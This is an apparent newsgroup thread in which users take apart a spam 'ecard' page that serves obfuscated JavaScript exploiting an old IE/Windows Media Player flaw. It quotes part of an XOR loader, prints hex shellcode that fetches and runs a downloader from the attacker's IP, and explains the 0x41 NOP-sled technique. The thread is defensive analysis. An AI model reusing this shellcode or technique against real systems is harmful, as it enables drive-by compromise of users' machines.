Multiply encrypted scripts

[Tofus-No-One]

I received a spam message that linked to here (munged):
http://74 ... 33 ... 169 ... 126/?aabb

That site has some weird encrypted javascript that seems to create a
900k block with some strange data appended.

Three things confuse me about the script:

1) The 900k block is created, and the "strange data" is appended, but
it's not injected anywhere.

2) The "strange data" seems to be further encrypted; I can see what
looks like a garbled URL, but I can't find out what site is being linked to.

3) An EMBED element is created that links to a .wmv file with an
extrememly long name, but I can't get the file from the server; I only
get 404 responses.

I've already reported this site to both Google and Frontiernet. The site
was linked to from a spam e-mail.

 

[Ernie B.]

I've already reported this site to both Google and Frontiernet. The site
was linked to from a spam e-mail.

Why in the world would anyone click on a link in or otherwise respond to a
spam email?

 

[Ant]

I received a spam message that linked to here (munged):
http://74 ... 33 ... 169 ... 126/?aabb

That site has some weird encrypted javascript that seems to create a
900k block with some strange data appended.

Three things confuse me about the script:

1) The 900k block is created, and the "strange data" is appended, but
it's not injected anywhere.

I don't see a 900k block.

2) The "strange data" seems to be further encrypted; I can see what
looks like a garbled URL, but I can't find out what site is being linked to.

Nor do I see further encryption.

3) An EMBED element is created that links to a .wmv file with an
extrememly long name, but I can't get the file from the server; I only
get 404 responses.

And I don't get an 'embed' to a wmv.

There are several exploits in that script which, if you are running a
vunerable browser, can lead to code injection to download and run more
crap (which I've downloaded and inspected). I'm not seeing what you're
seeing, just the usual collection of exploits that go with this ecard
scam which should now be patched if your system is up to date.
However, it's possible that the exploits served up depend on the query
string or the browser user-agent header.

 

[Beauregard T. Shagnasty]

I received a spam message that linked to here (munged):
http://74 ... 33 ... 169 ... 126/?aabb

That site has some weird encrypted javascript that seems to create a
900k block with some strange data appended.

It's an offer of a greeting card, ain't it? It's not really spam, it is
a message generated on that infected machine, owned by some clueless
person who ran the file, and your address may be on that computer in the
address book.

The link offers to download a file, usually named "ecard.exe" - which
will contain a variant of the trojan: Win32:Tibs-BDA [Trj] (as named
by Avast)

Social engineering. "Oh, a greeting card? For me? CLICK!"

 

[Virus Guy]

It's an offer of a greeting card, ain't it? It's not really
spam, it is a message generated on that infected machine,...

This was recently discussed in alt.spam:

[a href="/ecard.exe"]

ecard.exe is most commonly identified as a varient of Zhelatin:

http://www.virustotal.com/resultado.html?256c4e7aa047c6746880609b77b942e9

Info about Zhelatin:

http://www.viruslist.com/en/viruses/encyclopedia?virusid=150767

file.php (aka file.exe) is most commonly identified as a
trojan.downloader:

http://www.virustotal.com/resultado.html?e30337992e4a3d42f8deeb084db97bb4

file.php will try to get gop.exe from the same site but I get
a 404 on it.

As mentioned in the details section here:

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_DLOADER.KTY

 

[Tofus-No-One]

I don't see a 900k block.

There are multiple layers of obfuscation and encryption, hence the
subject of my message.

The link above returns some text that starts like so:

------stuff follows------
Your Download Should Begin Shortly[...]<Script Language='JavaScript'>
function xor_str[...]var plain_str =
"\xd3\xf9\xf9\xf9\xf9\xf9\xf9\xf9\xf9\xf9[...]document.write(xored_str);
</script>
------end stuff----------

The above text is part of a 13,116 byte long line. The last time I
checked, the long string of hex characters, when decrypted using XOR,
produces a script like this:

--------stuff follows----------
[ ... 78 blank lines snipped ...]
<HTML><HEAD><SCRIPT>var s=unescape("%u4141%u4141%u4141%u4141[... 2900+
additional bytes ...]
NNNNOOOOAAA

Nor do I see further encryption.

Sorry, it's encrypted once and encoded the second time.

And I don't get an 'embed' to a wmv.

I see it.

There are several exploits in that script which, if you are running a
vunerable browser, can lead to code injection to download and run more
crap (which I've downloaded and inspected). I'm not seeing what you're
seeing, just the usual collection of exploits that go with this ecard
scam which should now be patched if your system is up to date.
However, it's possible that the exploits served up depend on the query
string or the browser user-agent header.

Maybe that's it. Somehow, the would-be intruder thinks this block of
(hex-encoded) code is special:

54eb758b8b3c3574037856f5768b032033f549c9ad41db330f3614be382874
f2c1080dcbda03eb403bef75df5ee75e8b032466dd0c8b8b4b1c5edd03048b
038bc3c572756d6c6e6f642e6c6c43005c3a2e5578650065c033036430400c
78408b8b0c1c708bad084009eb408b8d347c40408b953c8ebf0e4ee8ecff84
ffffec838304242cff3c95d0bf501a36702f6fe8ffff8bff24548dfcba52db
335353eb525324d0ffbf5dfe980e8a53e8ffff83ff04ec2c836224d0ff7ebf
e2d8e873ff40ffffff52e8d0ffd7ffff746870742f3a372f2e343333312e39
36312e3632662f6c692e6568700070

That junk, in its original non-hex-encoded form, is appended to a
900,000 byte block of \x41 characters. Probably there is some buffer in
MSIE that overflows in 900,000 bytes, and that allows someone to place
data on the stack.

For some reason, Google hasn't listed that site as dangerous and
Frontiernet also hasn't taken it down.

 

[Ant]

Maybe that's it.

Yes, it depends on the user-agent. I sent a different one and can now
see what you got.

Somehow, the would-be intruder thinks this block of
(hex-encoded) code is special:

54eb758b8b3c3574037856f5768b032033f549c9ad41db330f3614be382874

It's executable code to download another file (which is itself a
downloader). You need to perform a byte-flip to make sense of it,
like this:

eb548b753c8b...

That junk, in its original non-hex-encoded form, is appended to a
900,000 byte block of \x41 characters.

That is known as a "NOP sled". It means the exploiter doesn't have to
be precise about where in memory the new instruction pointer (IP) is
placed. If the IP lands anywhere in the block it will slide down
(executing CPU instructions that have no effect - in this case INC CX)
until it reaches the payload code.

Probably there is some buffer in MSIE that overflows in 900,000
bytes, and that allows someone to place data on the stack.

The 'embed' will try to load the bogus (it doesn't exist) wmv file
with the over-long name and corrupt memory such that the IP will
point to somewhere in the NOP sled. The vulnerability is in Windows
Media Player or the way IE handles the file name, not the creation of
a huge buffer.

For some reason, Google hasn't listed that site as dangerous and
Frontiernet also hasn't taken it down.

No surprise there.